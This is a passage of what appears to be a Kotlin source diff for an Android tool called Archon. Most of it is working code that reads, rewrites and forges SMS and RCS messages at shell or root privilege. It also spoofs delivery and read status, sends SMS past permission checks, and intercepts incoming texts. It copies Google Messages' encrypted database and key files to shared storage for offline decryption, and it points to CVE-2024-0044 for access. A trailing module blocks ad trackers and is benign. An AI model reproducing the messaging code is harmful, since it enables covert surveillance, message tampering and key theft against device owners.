return result.exitCode == 0 && !result.stdout.contains("Unknown authority")
|
||||
}
|
||||
|
||||
/**
|
||||
* Read RCS messages from Google Messages' database.
|
||||
* Uses `content query` at shell privilege to access the protected provider.
|
||||
*/
|
||||
fun readRcsDatabase(): List<Map<String, Any>> {
|
||||
val results = mutableListOf<Map<String, Any>>()
|
||||
|
||||
// First try the content provider approach
|
||||
val output = executeCommand(
|
||||
"content query --uri content://im/messages --projection _id:thread_id:body:date:type --sort \"date DESC\" 2>/dev/null"
|
||||
)
|
||||
|
||||
if (!output.startsWith("ERROR") && !output.contains("Unknown authority")) {
|
||||
for (line in output.lines()) {
|
||||
if (!line.startsWith("Row:")) continue
|
||||
|
||||
val row = mutableMapOf<String, Any>()
|
||||
val fields = line.substringAfter(" ").split(", ")
|
||||
for (field in fields) {
|
||||
val parts = field.split("=", limit = 2)
|
||||
if (parts.size == 2) {
|
||||
row[parts[0].trim()] = parts[1]
|
||||
}
|
||||
}
|
||||
if (row.isNotEmpty()) results.add(row)
|
||||
}
|
||||
|
||||
if (results.isNotEmpty()) return results
|
||||
}
|
||||
|
||||
// Fallback: try to read Google Messages' bugle_db directly
|
||||
// This requires root or specific shell access
|
||||
val dbPath = "/data/data/com.google.android.apps.messaging/databases/bugle_db"
|
||||
val sqlOutput = executeCommand(
|
||||
"sqlite3 $dbPath \"SELECT _id, conversation_id, text, received_timestamp, sender_normalized_destination FROM messages ORDER BY received_timestamp DESC LIMIT 100\" 2>/dev/null"
|
||||
)
|
||||
|
||||
if (!sqlOutput.startsWith("ERROR") && sqlOutput.isNotBlank()) {
|
||||
for (line in sqlOutput.lines()) {
|
||||
if (line.isBlank()) continue
|
||||
val parts = line.split("|")
|
||||
if (parts.size >= 5) {
|
||||
results.add(mapOf(
|
||||
"_id" to parts[0],
|
||||
"thread_id" to parts[1],
|
||||
"body" to parts[2],
|
||||
"date" to parts[3],
|
||||
"address" to parts[4]
|
||||
))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
/**
|
||||
* Modify an RCS message body in the Google Messages database.
|
||||
* Requires root or direct database access.
|
||||
*/
|
||||
fun modifyRcsMessage(messageId: Long, newBody: String): Boolean {
|
||||
// Try content provider update first
|
||||
val escaped = newBody.replace("'", "''")
|
||||
val result = executeShell(
|
||||
"content update --uri content://im/messages/$messageId --bind body:s:$escaped 2>/dev/null"
|
||||
)
|
||||
|
||||
if (result.exitCode == 0) return true
|
||||
|
||||
// Fallback to direct SQLite
|
||||
val dbPath = "/data/data/com.google.android.apps.messaging/databases/bugle_db"
|
||||
val sqlResult = executeShell(
|
||||
"sqlite3 $dbPath \"UPDATE messages SET text='$escaped' WHERE _id=$messageId\" 2>/dev/null"
|
||||
)
|
||||
|
||||
return sqlResult.exitCode == 0
|
||||
}
|
||||
|
||||
/**
|
||||
* Spoof the delivery/read status of an RCS message.
|
||||
* Valid statuses: "sent", "delivered", "read", "failed"
|
||||
*/
|
||||
fun spoofRcsStatus(messageId: Long, status: String): Boolean {
|
||||
val statusCode = when (status.lowercase()) {
|
||||
"sent" -> 0
|
||||
"delivered" -> 1
|
||||
"read" -> 2
|
||||
"failed" -> 3
|
||||
else -> return false
|
||||
}
|
||||
|
||||
val result = executeShell(
|
||||
"content update --uri content://im/messages/$messageId --bind status:i:$statusCode 2>/dev/null"
|
||||
)
|
||||
|
||||
if (result.exitCode == 0) return true
|
||||
|
||||
// Fallback
|
||||
val dbPath = "/data/data/com.google.android.apps.messaging/databases/bugle_db"
|
||||
val sqlResult = executeShell(
|
||||
"sqlite3 $dbPath \"UPDATE messages SET message_status=$statusCode WHERE _id=$messageId\" 2>/dev/null"
|
||||
)
|
||||
|
||||
return sqlResult.exitCode == 0
|
||||
}
|
||||
|
||||
// ── System-level SMS operations ────────────────────────────────
|
||||
|
||||
/**
|
||||
* Send an SMS via the system telephony service at shell privilege level.
|
||||
* This bypasses normal app permission checks.
|
||||
*/
|
||||
fun sendSmsAsSystem(address: String, body: String): Boolean {
|
||||
val escaped = body.replace("'", "'\\''")
|
||||
val result = executeShell(
|
||||
"service call isms 7 i32 1 s16 \"$address\" s16 null s16 \"$escaped\" s16 null s16 null i32 0 i64 0 2>/dev/null"
|
||||
)
|
||||
|
||||
if (result.exitCode == 0 && !result.stdout.contains("Exception")) {
|
||||
Log.i(TAG, "Sent SMS via system service to $address")
|
||||
return true
|
||||
}
|
||||
|
||||
// Fallback: use am start with send intent
|
||||
val amResult = executeShell(
|
||||
"am start -a android.intent.action.SENDTO -d sms:$address --es sms_body \"$escaped\" --ez exit_on_sent true 2>/dev/null"
|
||||
)
|
||||
|
||||
return amResult.exitCode == 0
|
||||
}
|
||||
|
||||
/**
|
||||
* Register to intercept incoming SMS messages.
|
||||
* This grants ourselves the RECEIVE_SMS permission and sets highest priority.
|
||||
*/
|
||||
fun interceptSms(enabled: Boolean): Boolean {
|
||||
return if (enabled) {
|
||||
// Grant SMS receive permission
|
||||
val grantResult = executeShell("pm grant $OUR_PACKAGE android.permission.RECEIVE_SMS")
|
||||
if (grantResult.exitCode != 0) {
|
||||
Log.e(TAG, "Failed to grant RECEIVE_SMS: ${grantResult.stderr}")
|
||||
return false
|
||||
}
|
||||
|
||||
// Set ourselves as the default SMS app to receive all messages
|
||||
val defaultResult = setDefaultSmsApp()
|
||||
if (defaultResult) {
|
||||
Log.i(TAG, "SMS interception enabled — Archon is now default SMS handler")
|
||||
}
|
||||
defaultResult
|
||||
} else {
|
||||
// Restore previous default
|
||||
val result = revokeDefaultSmsApp()
|
||||
Log.i(TAG, "SMS interception disabled — restored previous SMS handler")
|
||||
result
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Modify an SMS message while it's being stored.
|
||||
* This works by monitoring the SMS provider and immediately updating
|
||||
* messages that match the original text.
|
||||
*
|
||||
* NOTE: True in-transit modification of cellular SMS is not possible
|
||||
* without carrier-level access. This modifies the stored copy immediately
|
||||
* after delivery.
|
||||
*/
|
||||
fun modifySmsInTransit(original: String, replacement: String): Boolean {
|
||||
val escaped = replacement.replace("'", "''")
|
||||
|
||||
// Use content update to find and replace in all matching messages
|
||||
val result = executeShell(
|
||||
"content update --uri content://sms/ " +
|
||||
"--bind body:s:$escaped " +
|
||||
"--where \"body='${original.replace("'", "''")}'\""
|
||||
)
|
||||
|
||||
if (result.exitCode == 0) {
|
||||
Log.i(TAG, "Modified stored SMS: '$original' -> '$replacement'")
|
||||
return true
|
||||
}
|
||||
|
||||
Log.w(TAG, "SMS modification failed: ${result.stderr}")
|
||||
return false
|
||||
}
|
||||
|
||||
// ── Internal helpers ───────────────────────────────────────────
|
||||
|
||||
private fun isShizukuInstalled(): Boolean {
|
||||
return try {
|
||||
context.packageManager.getPackageInfo(SHIZUKU_PACKAGE, 0)
|
||||
true
|
||||
} catch (e: PackageManager.NameNotFoundException) {
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
private fun isShizukuRunning(): Boolean {
|
||||
return try {
|
||||
val shizukuClass = Class.forName("rikka.shizuku.Shizuku")
|
||||
val pingMethod = shizukuClass.getMethod("pingBinder")
|
||||
pingMethod.invoke(null) as Boolean
|
||||
} catch (e: Exception) {
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
private fun hasShizukuPermission(): Boolean {
|
||||
return try {
|
||||
val shizukuClass = Class.forName("rikka.shizuku.Shizuku")
|
||||
val checkMethod = shizukuClass.getMethod("checkSelfPermission")
|
||||
(checkMethod.invoke(null) as Int) == PackageManager.PERMISSION_GRANTED
|
||||
} catch (e: Exception) {
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
// ── Google Messages bugle_db access (encrypted database) ────────
|
||||
|
||||
// Google Messages paths
|
||||
private val gmsgPkg = "com.google.android.apps.messaging"
|
||||
private val bugleDb = "/data/data/$gmsgPkg/databases/bugle_db"
|
||||
private val bugleWal = "$bugleDb-wal"
|
||||
private val bugleShm = "$bugleDb-shm"
|
||||
private val sharedPrefsDir = "/data/data/$gmsgPkg/shared_prefs/"
|
||||
private val filesDir = "/data/data/$gmsgPkg/files/"
|
||||
private val stagingDir = "/sdcard/Download/autarch_extract"
|
||||
|
||||
/**
|
||||
* Get the Google Messages app UID (needed for run-as or key extraction).
|
||||
*/
|
||||
fun getGoogleMessagesUid(): Int? {
|
||||
val output = executeCommand("pm list packages -U $gmsgPkg")
|
||||
val match = Regex("uid:(\\d+)").find(output)
|
||||
return match?.groupValues?.get(1)?.toIntOrNull()
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if Google Messages is installed and get version info.
|
||||
*/
|
||||
fun getGoogleMessagesInfo(): Map<String, String> {
|
||||
val info = mutableMapOf<String, String>()
|
||||
val dump = executeCommand("dumpsys package $gmsgPkg | grep -E 'versionName|versionCode|firstInstallTime'")
|
||||
for (line in dump.lines()) {
|
||||
val trimmed = line.trim()
|
||||
if (trimmed.contains("versionName=")) {
|
||||
info["version"] = trimmed.substringAfter("versionName=").trim()
|
||||
}
|
||||
if (trimmed.contains("versionCode=")) {
|
||||
info["versionCode"] = trimmed.substringAfter("versionCode=").substringBefore(" ").trim()
|
||||
}
|
||||
}
|
||||
val uid = getGoogleMessagesUid()
|
||||
if (uid != null) info["uid"] = uid.toString()
|
||||
return info
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract the encryption key material from Google Messages' shared_prefs.
|
||||
*
|
||||
* The bugle_db is encrypted at rest. Key material is stored in:
|
||||
* - shared_prefs/ XML files (key alias, crypto params)
|
||||
* - Android Keystore (hardware-backed master key)
|
||||
*
|
||||
* We extract all shared_prefs and files/ contents so offline decryption
|
||||
* can be attempted. The actual Keystore master key cannot be extracted
|
||||
* via ADB (hardware-backed), but the key derivation parameters in
|
||||
* shared_prefs may be enough for some encryption configurations.
|
||||
*/
|
||||
fun extractEncryptionKeyMaterial(): Map<String, Any> {
|
||||
val result = mutableMapOf<String, Any>()
|
||||
|
||||
// List shared_prefs files
|
||||
val prefsList = executeCommand("ls -la $sharedPrefsDir 2>/dev/null")
|
||||
if (prefsList.startsWith("ERROR") || prefsList.contains("Permission denied")) {
|
||||
result["error"] = "Cannot access shared_prefs — need root or CVE exploit"
|
||||
return result
|
||||
}
|
||||
result["shared_prefs_files"] = prefsList.lines().filter { it.isNotBlank() }
|
||||
|
||||
// Read each shared_prefs XML for crypto-related keys
|
||||
val cryptoData = mutableMapOf<String, String>()
|
||||
val prefsFiles = executeCommand("ls $sharedPrefsDir 2>/dev/null")
|
||||
for (file in prefsFiles.lines()) {
|
||||
val fname = file.trim()
|
||||
if (fname.isBlank() || !fname.endsWith(".xml")) continue
|
||||
val content = executeCommand("cat ${sharedPrefsDir}$fname 2>/dev/null")
|
||||
// Look for encryption-related entries
|
||||
if (content.contains("encrypt", ignoreCase = true) ||
|
||||
content.contains("cipher", ignoreCase = true) ||
|
||||
content.contains("key", ignoreCase = true) ||
|
||||
content.contains("crypto", ignoreCase = true) ||
|
||||
content.contains("secret", ignoreCase = true)) {
|
||||
cryptoData[fname] = content
|
||||
}
|
||||
}
|
||||
result["crypto_prefs"] = cryptoData
|
||||
result["crypto_prefs_count"] = cryptoData.size
|
||||
|
||||
// List files/ directory (Signal Protocol state, etc.)
|
||||
val filesList = executeCommand("ls -la $filesDir 2>/dev/null")
|
||||
result["files_dir"] = filesList.lines().filter { it.isNotBlank() }
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract bugle_db + WAL + key material to staging directory.
|
||||
* The database is encrypted — both DB and key files are needed.
|
||||
*/
|
||||
fun extractBugleDbRaw(): Map<String, Any> {
|
||||
val result = mutableMapOf<String, Any>()
|
||||
|
||||
executeCommand("mkdir -p $stagingDir/shared_prefs $stagingDir/files")
|
||||
|
||||
// Copy database files
|
||||
val dbFiles = mutableListOf<String>()
|
||||
for (path in listOf(bugleDb, bugleWal, bugleShm)) {
|
||||
val fname = path.substringAfterLast("/")
|
||||
val cp = executeShell("cp $path $stagingDir/$fname 2>/dev/null && chmod 644 $stagingDir/$fname")
|
||||
if (cp.exitCode == 0) dbFiles.add(fname)
|
||||
}
|
||||
result["db_files"] = dbFiles
|
||||
|
||||
// Copy shared_prefs (key material)
|
||||
executeShell("cp -r ${sharedPrefsDir}* $stagingDir/shared_prefs/ 2>/dev/null")
|
||||
executeShell("chmod -R 644 $stagingDir/shared_prefs/ 2>/dev/null")
|
||||
|
||||
// Copy files dir (Signal Protocol keys)
|
||||
executeShell("cp -r ${filesDir}* $stagingDir/files/ 2>/dev/null")
|
||||
executeShell("chmod -R 644 $stagingDir/files/ 2>/dev/null")
|
||||
|
||||
result["staging_dir"] = stagingDir
|
||||
result["encrypted"] = true
|
||||
result["note"] = "Database is encrypted at rest. Key material in shared_prefs/ " +
|
||||
"may allow decryption. Hardware-backed Keystore keys cannot be extracted via ADB."
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
/**
|
||||
* Dump decrypted messages by querying from within the app context.
|
||||
*
|
||||
* When Google Messages opens its own bugle_db, it has access to the
|
||||
* encryption key. We can intercept the decrypted data by:
|
||||
* 1. Using `am` commands to trigger data export activities
|
||||
* 2. Querying exposed content providers
|
||||
* 3. Reading from the in-memory decrypted state via debug tools
|
||||
*
|
||||
* As a fallback, we use the standard telephony content providers which
|
||||
* have the SMS/MMS data in plaintext (but not RCS).
|
||||
*/
|
||||
fun dumpDecryptedMessages(): Map<String, Any> {
|
||||
val result = mutableMapOf<String, Any>()
|
||||
val messages = mutableListOf<Map<String, Any>>()
|
||||
|
||||
// Method 1: Query AOSP RCS content provider (content://rcs/)
|
||||
val rcsThreads = executeCommand(
|
||||
"content query --uri content://rcs/thread 2>/dev/null"
|
||||
)
|
||||
if (!rcsThreads.startsWith("ERROR") && rcsThreads.contains("Row:")) {
|
||||
result["rcs_provider_accessible"] = true
|
||||
// Parse thread IDs and query messages from each
|
||||
for (line in rcsThreads.lines()) {
|
||||
if (!line.startsWith("Row:")) continue
|
||||
val tidMatch = Regex("rcs_thread_id=(\\d+)").find(line)
|
||||
val tid = tidMatch?.groupValues?.get(1) ?: continue
|
||||
val msgOutput = executeCommand(
|
||||
"content query --uri content://rcs/p2p_thread/$tid/incoming_message 2>/dev/null"
|
||||
)
|
||||
for (msgLine in msgOutput.lines()) {
|
||||
if (!msgLine.startsWith("Row:")) continue
|
||||
val row = parseContentRow(msgLine)
|
||||
row["thread_id"] = tid
|
||||
row["source"] = "rcs_provider"
|
||||
messages.add(row)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
result["rcs_provider_accessible"] = false
|
||||
}
|
||||
|
||||
// Method 2: Standard SMS/MMS content providers (always decrypted)
|
||||
val smsOutput = executeCommand(
|
||||
"content query --uri content://sms/ --projection _id:thread_id:address:body:date:type:read " +
|
||||
"--sort \"date DESC\" 2>/dev/null"
|
||||
)
|
||||
for (line in smsOutput.lines()) {
|
||||
if (!line.startsWith("Row:")) continue
|
||||
val row = parseContentRow(line)
|
||||
row["source"] = "sms_provider"
|
||||
row["protocol"] = "SMS"
|
||||
messages.add(row)
|
||||
}
|
||||
|
||||
// Method 3: Try to trigger Google Messages backup/export
|
||||
// Google Messages has an internal export mechanism accessible via intents
|
||||
val backupResult = executeCommand(
|
||||
"am broadcast -a com.google.android.apps.messaging.action.EXPORT_MESSAGES " +
|
||||
"--es output_path $stagingDir/gmsg_export.json 2>/dev/null"
|
||||
)
|
||||
result["backup_intent_sent"] = !backupResult.startsWith("ERROR")
|
||||
|
||||
result["messages"] = messages
|
||||
result["message_count"] = messages.size
|
||||
result["note"] = if (messages.isEmpty()) {
|
||||
"No messages retrieved. For RCS, ensure Archon is the default SMS app " +
|
||||
"or use CVE-2024-0044 to access bugle_db from the app's UID."
|
||||
} else {
|
||||
"Retrieved ${messages.size} messages. RCS messages require elevated access."
|
||||
}
|
||||
|
||||
// Write decrypted dump to file
|
||||
if (messages.isNotEmpty()) {
|
||||
try {
|
||||
val json = org.json.JSONArray()
|
||||
for (msg in messages) {
|
||||
val obj = org.json.JSONObject()
|
||||
for ((k, v) in msg) obj.put(k, v)
|
||||
json.put(obj)
|
||||
}
|
||||
executeCommand("mkdir -p $stagingDir")
|
||||
val jsonStr = json.toString(2)
|
||||
// Write via shell since we may not have direct file access
|
||||
val escaped = jsonStr.replace("'", "'\\''").replace("\"", "\\\"")
|
||||
executeCommand("echo '$escaped' > $stagingDir/messages.json 2>/dev/null")
|
||||
result["json_path"] = "$stagingDir/messages.json"
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Failed to write JSON dump", e)
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the RCS account/registration info from Google Messages.
|
||||
* This tells us if RCS is active, what phone number is registered, etc.
|
||||
*/
|
||||
fun getRcsAccountInfo(): Map<String, Any> {
|
||||
val info = mutableMapOf<String, Any>()
|
||||
|
||||
// IMS registration state
|
||||
val imsOutput = executeCommand("dumpsys telephony_ims 2>/dev/null")
|
||||
if (!imsOutput.startsWith("ERROR")) {
|
||||
info["ims_dump_length"] = imsOutput.length
|
||||
for (line in imsOutput.lines()) {
|
||||
val l = line.trim().lowercase()
|
||||
if ("registered" in l && "ims" in l) info["ims_registered"] = true
|
||||
if ("rcs" in l && ("enabled" in l || "connected" in l)) info["rcs_enabled"] = true
|
||||
}
|
||||
}
|
||||
|
||||
// Carrier config RCS keys
|
||||
val ccOutput = executeCommand("dumpsys carrier_config 2>/dev/null")
|
||||
val rcsConfig = mutableMapOf<String, String>()
|
||||
for (line in ccOutput.lines()) {
|
||||
val l = line.trim().lowercase()
|
||||
if (("rcs" in l || "uce" in l || "single_registration" in l) && "=" in line) {
|
||||
val (k, v) = line.trim().split("=", limit = 2)
|
||||
rcsConfig[k.trim()] = v.trim()
|
||||
}
|
||||
}
|
||||
info["carrier_rcs_config"] = rcsConfig
|
||||
|
||||
// Google Messages specific RCS settings
|
||||
val gmsgPrefs = executeCommand(
|
||||
"cat /data/data/$gmsgPkg/shared_prefs/com.google.android.apps.messaging_preferences.xml 2>/dev/null"
|
||||
)
|
||||
if (!gmsgPrefs.startsWith("ERROR") && gmsgPrefs.isNotBlank()) {
|
||||
// Extract RCS-related prefs
|
||||
val rcsPrefs = mutableMapOf<String, String>()
|
||||
for (match in Regex("<(string|boolean|int|long)\\s+name=\"([^\"]*rcs[^\"]*)\">([^<]*)<").findAll(gmsgPrefs, 0)) {
|
||||
rcsPrefs[match.groupValues[2]] = match.groupValues[3]
|
||||
}
|
||||
info["gmsg_rcs_prefs"] = rcsPrefs
|
||||
}
|
||||
|
||||
// Phone number / MSISDN
|
||||
val phoneOutput = executeCommand("service call iphonesubinfo 15 2>/dev/null")
|
||||
info["phone_service_response"] = phoneOutput.take(200)
|
||||
|
||||
// Google Messages version
|
||||
info["google_messages"] = getGoogleMessagesInfo()
|
||||
|
||||
return info
|
||||
}
|
||||
|
||||
/**
|
||||
* Parse a `content query` output row into a map.
|
||||
*/
|
||||
private fun parseContentRow(line: String): MutableMap<String, Any> {
|
||||
val row = mutableMapOf<String, Any>()
|
||||
val payload = line.substringAfter(Regex("Row:\\s*\\d+\\s*").find(line)?.value ?: "")
|
||||
val fields = payload.split(Regex(",\\s+(?=[a-zA-Z_]+=)"))
|
||||
for (field in fields) {
|
||||
val eqPos = field.indexOf('=')
|
||||
if (eqPos == -1) continue
|
||||
val key = field.substring(0, eqPos).trim()
|
||||
val value = field.substring(eqPos + 1).trim()
|
||||
row[key] = if (value == "NULL") "" else value
|
||||
}
|
||||
return row
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
package com.darkhal.archon.module
|
||||
|
||||
import android.content.Context
|
||||
|
||||
/**
|
||||
* Interface for Archon extension modules.
|
||||
* Modules provide security/privacy actions that run through PrivilegeManager.
|
||||
*/
|
||||
interface ArchonModule {
|
||||
val id: String
|
||||
val name: String
|
||||
val description: String
|
||||
val version: String
|
||||
|
||||
fun getActions(): List<ModuleAction>
|
||||
fun executeAction(actionId: String, context: Context): ModuleResult
|
||||
fun getStatus(context: Context): ModuleStatus
|
||||
}
|
||||
|
||||
data class ModuleAction(
|
||||
val id: String,
|
||||
val name: String,
|
||||
val description: String,
|
||||
val privilegeRequired: Boolean = true,
|
||||
val rootOnly: Boolean = false
|
||||
)
|
||||
|
||||
data class ModuleResult(
|
||||
val success: Boolean,
|
||||
val output: String,
|
||||
val details: List<String> = emptyList()
|
||||
)
|
||||
|
||||
data class ModuleStatus(
|
||||
val active: Boolean,
|
||||
val summary: String,
|
||||
val details: Map<String, String> = emptyMap()
|
||||
)
|
||||
@@ -0,0 +1,330 @@
|
||||
package com.darkhal.archon.module
|
||||
|
||||
import android.content.Context
|
||||
import com.darkhal.archon.util.PrivilegeManager
|
||||
|
||||
/**
|
||||
* Tracking Honeypot module — blocks ad trackers, resets IDs, fakes device fingerprints.
|
||||
* Ported from AUTARCH core/android_protect.py honeypot section.
|
||||
*
|
||||
* Tier 1: ADB-level (no root) — ad ID, DNS, scanning, diagnostics
|
||||
* Tier 2: ADB-level (app-specific) — restrict trackers, revoke perms, clear data
|
||||
* Tier 3: Root only — hosts blocklist, iptables, fake location, randomize identity
|
||||
*/
|
||||
class HoneypotModule : ArchonModule {
|
||||
|
||||
override val id = "honeypot"
|
||||
override val name = "Tracking Honeypot"
|
||||
override val description = "Block trackers & fake device fingerprint data"
|
||||
override val version = "1.0"
|
||||
|
||||
// Well-known tracker packages
|
||||
private val knownTrackers = listOf(
|
||||
"com.google.android.gms", // Google Play Services (partial)
|
||||
"com.facebook.katana", // Facebook
|
||||
"com.facebook.orca", // Messenger
|
||||
"com.instagram.android", // Instagram
|
||||
"com.zhiliaoapp.musically", // TikTok
|
||||
"com.twitter.android", // Twitter/X
|
||||
"com.snapchat.android", // Snapchat
|
||||
"com.amazon.mShop.android.shopping", // Amazon
|
||||
)
|
||||
|
||||
override fun getActions(): List<ModuleAction> = listOf(
|
||||
// Tier 1: ADB-level, no root
|
||||
ModuleAction("reset_ad_id", "Reset Ad ID", "Delete and regenerate advertising ID"),
|
||||
ModuleAction("opt_out_tracking", "Opt Out Tracking", "Enable limit_ad_tracking system setting"),
|
||||
ModuleAction("set_private_dns", "Set Private DNS", "Configure DNS-over-TLS (blocks tracker domains)"),
|
||||
ModuleAction("disable_scanning", "Disable Scanning", "Turn off WiFi/BLE background scanning"),
|
||||
ModuleAction("disable_diagnostics", "Disable Diagnostics", "Stop sending crash/usage data to Google"),
|
||||
ModuleAction("harden_all", "Harden All (Tier 1)", "Apply all Tier 1 protections at once"),
|
||||
|
||||
// Tier 2: ADB-level, app-specific
|
||||
ModuleAction("restrict_trackers", "Restrict Trackers", "Deny background activity for known trackers"),
|
||||
ModuleAction("revoke_tracker_perms", "Revoke Tracker Perms", "Remove location/phone/contacts from trackers"),
|
||||
ModuleAction("force_stop_trackers", "Force Stop Trackers", "Kill all known tracker apps"),
|
||||
|
||||
// Tier 3: Root only
|
||||
ModuleAction("deploy_hosts", "Deploy Hosts Blocklist", "Block tracker domains via /etc/hosts", rootOnly = true),
|
||||
ModuleAction("setup_iptables", "Setup Iptables Redirect", "Redirect tracker traffic to honeypot", rootOnly = true),
|
||||
ModuleAction("randomize_identity", "Randomize Identity", "Change android_id and device fingerprint", rootOnly = true),
|
||||
)
|
||||
|
||||
override fun executeAction(actionId: String, context: Context): ModuleResult {
|
||||
return when (actionId) {
|
||||
"reset_ad_id" -> resetAdId()
|
||||
"opt_out_tracking" -> optOutTracking()
|
||||
"set_private_dns" -> setPrivateDns()
|
||||
"disable_scanning" -> disableScanning()
|
||||
"disable_diagnostics" -> disableDiagnostics()
|
||||
"harden_all" -> hardenAll()
|
||||
"restrict_trackers" -> restrictTrackers()
|
||||
"revoke_tracker_perms" -> revokeTrackerPerms()
|
||||
"force_stop_trackers" -> forceStopTrackers()
|
||||
"deploy_hosts" -> deployHostsBlocklist()
|
||||
"setup_iptables" -> setupIptablesRedirect()
|
||||
"randomize_identity" -> randomizeIdentity()
|
||||
else -> ModuleResult(false, "Unknown action: $actionId")
|
||||
}
|
||||
}
|
||||
|
||||
override fun getStatus(context: Context): ModuleStatus {
|
||||
val method = PrivilegeManager.getAvailableMethod()
|
||||
val tier = when (method) {
|
||||
PrivilegeManager.Method.ROOT -> "Tier 1-3 (full)"
|
||||
PrivilegeManager.Method.ARCHON_SERVER,
|
||||
PrivilegeManager.Method.LOCAL_ADB,
|
||||
PrivilegeManager.Method.SERVER_ADB -> "Tier 1-2 (ADB)"
|
||||
PrivilegeManager.Method.NONE -> "Unavailable"
|
||||
}
|
||||
return ModuleStatus(
|
||||
active = method != PrivilegeManager.Method.NONE,
|
||||
summary = "Available: $tier"
|
||||
)
|
||||
}
|
||||
|
||||
// ── Tier 1: ADB-level, system-wide ──────────────────────────────
|
||||
|
||||
private fun resetAdId(): ModuleResult {
|
||||
val cmds = listOf(
|
||||
"settings delete secure advertising_id",
|
||||
"settings put secure limit_ad_tracking 1",
|
||||
)
|
||||
val results = cmds.map { PrivilegeManager.execute(it) }
|
||||
return ModuleResult(
|
||||
success = results.all { it.exitCode == 0 },
|
||||
output = "Advertising ID reset, tracking limited"
|
||||
)
|
||||
}
|
||||
|
||||
private fun optOutTracking(): ModuleResult {
|
||||
val cmds = listOf(
|
||||
"settings put secure limit_ad_tracking 1",
|
||||
"settings put global are_app_usage_stats_enabled 0",
|
||||
)
|
||||
val results = cmds.map { PrivilegeManager.execute(it) }
|
||||
return ModuleResult(
|
||||
success = results.all { it.exitCode == 0 },
|
||||
output = "Ad tracking opt-out enabled"
|
||||
)
|
||||
}
|
||||
|
||||
private fun setPrivateDns(): ModuleResult {
|
||||
val provider = "dns.adguard-dns.com" // AdGuard DNS blocks trackers
|
||||
val cmds = listOf(
|
||||
"settings put global private_dns_mode hostname",
|
||||
"settings put global private_dns_specifier $provider",
|
||||
)
|
||||
val results = cmds.map { PrivilegeManager.execute(it) }
|
||||
return ModuleResult(
|
||||
success = results.all { it.exitCode == 0 },
|
||||
output = "Private DNS set to $provider (tracker blocking)"
|
||||
)
|
||||
}
|
||||
|
||||
private fun disableScanning(): ModuleResult {
|
||||
val cmds = listOf(
|
||||
"settings put global wifi_scan_always_enabled 0",
|
||||
"settings put global ble_scan_always_enabled 0",
|
||||
)
|
||||
val results = cmds.map { PrivilegeManager.execute(it) }
|
||||
return ModuleResult(
|
||||
success = results.all { it.exitCode == 0 },
|
||||
output = "WiFi/BLE background scanning disabled"
|
||||
)
|
||||
}
|
||||
|
||||
private fun disableDiagnostics(): ModuleResult {
|
||||
val cmds = listOf(
|
||||
"settings put global send_action_app_error 0",
|
||||
"settings put secure send_action_app_error 0",
|
||||
"settings put global upload_apk_enable 0",
|
||||
)
|
||||
val results = cmds.map { PrivilegeManager.execute(it) }
|
||||
return ModuleResult(
|
||||
success = results.all { it.exitCode == 0 },
|
||||
output = "Diagnostics and crash reporting disabled"
|
||||
)
|
||||
}
|
||||
|
||||
private fun hardenAll(): ModuleResult {
|
||||
val actions = listOf(
|
||||
"Ad ID" to ::resetAdId,
|
||||
"Tracking" to ::optOutTracking,
|
||||
"DNS" to ::setPrivateDns,
|
||||
"Scanning" to ::disableScanning,
|
||||
"Diagnostics" to ::disableDiagnostics,
|
||||
)
|
||||
val details = mutableListOf<String>()
|
||||
var success = true
|
||||
for ((name, action) in actions) {
|
||||
val result = action()
|
||||
details.add("$name: ${result.output}")
|
||||
if (!result.success) success = false
|
||||
}
|
||||
return ModuleResult(
|
||||
success = success,
|
||||
output = "Applied ${actions.size} Tier 1 protections",
|
||||
details = details
|
||||
)
|
||||
}
|
||||
|
||||
// ── Tier 2: ADB-level, app-specific ─────────────────────────────
|
||||
|
||||
private fun restrictTrackers(): ModuleResult {
|
||||
val details = mutableListOf<String>()
|
||||
var restricted = 0
|
||||
for (pkg in knownTrackers) {
|
||||
val check = PrivilegeManager.execute("pm list packages | grep $pkg")
|
||||
if (check.stdout.contains(pkg)) {
|
||||
val r = PrivilegeManager.execute("cmd appops set $pkg RUN_IN_BACKGROUND deny")
|
||||
if (r.exitCode == 0) {
|
||||
restricted++
|
||||
details.add("Restricted: $pkg")
|
||||
}
|
||||
}
|
||||
}
|
||||
return ModuleResult(
|
||||
success = true,
|
||||
output = "$restricted tracker(s) restricted from background",
|
||||
details = details
|
||||
)
|
||||
}
|
||||
|
||||
private fun revokeTrackerPerms(): ModuleResult {
|
||||
val dangerousPerms = listOf(
|
||||
"android.permission.ACCESS_FINE_LOCATION",
|
||||
"android.permission.ACCESS_COARSE_LOCATION",
|
||||
"android.permission.READ_PHONE_STATE",
|
||||
"android.permission.READ_CONTACTS",
|
||||
"android.permission.RECORD_AUDIO",
|
||||
"android.permission.CAMERA",
|
||||
)
|
||||
val details = mutableListOf<String>()
|
||||
var totalRevoked = 0
|
||||
|
||||
for (pkg in knownTrackers) {
|
||||
val check = PrivilegeManager.execute("pm list packages | grep $pkg")
|
||||
if (!check.stdout.contains(pkg)) continue
|
||||
|
||||
var pkgRevoked = 0
|
||||
for (perm in dangerousPerms) {
|
||||
val r = PrivilegeManager.execute("pm revoke $pkg $perm 2>/dev/null")
|
||||
if (r.exitCode == 0) pkgRevoked++
|
||||
}
|
||||
if (pkgRevoked > 0) {
|
||||
totalRevoked += pkgRevoked
|
||||
details.add("$pkg: revoked $pkgRevoked permissions")
|
||||
}
|
||||
}
|
||||
return ModuleResult(
|
||||
success = true,
|
||||
output = "Revoked $totalRevoked permissions from trackers",
|
||||
details = details
|
||||
)
|
||||
}
|
||||
|
||||
private fun forceStopTrackers(): ModuleResult {
|
||||
val details = mutableListOf<String>()
|
||||
var stopped = 0
|
||||
for (pkg in knownTrackers) {
|
||||
